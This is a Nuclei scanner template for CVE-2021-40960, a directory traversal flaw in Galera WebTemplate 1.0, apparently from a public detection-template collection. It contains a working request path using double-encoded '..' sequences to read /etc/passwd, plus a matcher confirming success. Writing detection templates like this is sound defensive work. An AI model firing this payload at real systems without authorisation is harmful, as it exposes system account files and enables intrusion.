nuclei-templates/http/cves/2021/CVE-2021-40960.yaml

id: CVE-2021-40960

info:
  name: Galera WebTemplate 1.0 Directory Traversal
  author: daffainfo
  severity: critical
  description: Galera WebTemplate 1.0 is affected by a directory traversal vulnerability that could reveal information from /etc/passwd and /etc/shadow.
  impact: |
    An attacker can read, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Galera WebTemplate 1.0.
  reference:
    - http://www.omrylmz.com/galera-webtemplate-1-0-directory-traversal-vulnerability-cve-2021-40960/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40960
    - http://www.galera.com.tr/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-40960
    cwe-id: CWE-22
    epss-score: 0.00946
    epss-percentile: 0.81337
    cpe: cpe:2.3:a:galera:galera_webtemplate:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: galera
    product: galera_webtemplate
  tags: cve,cve2021,lfi,galera

http:
  - method: GET
    path:
      - "{{BaseURL}}/GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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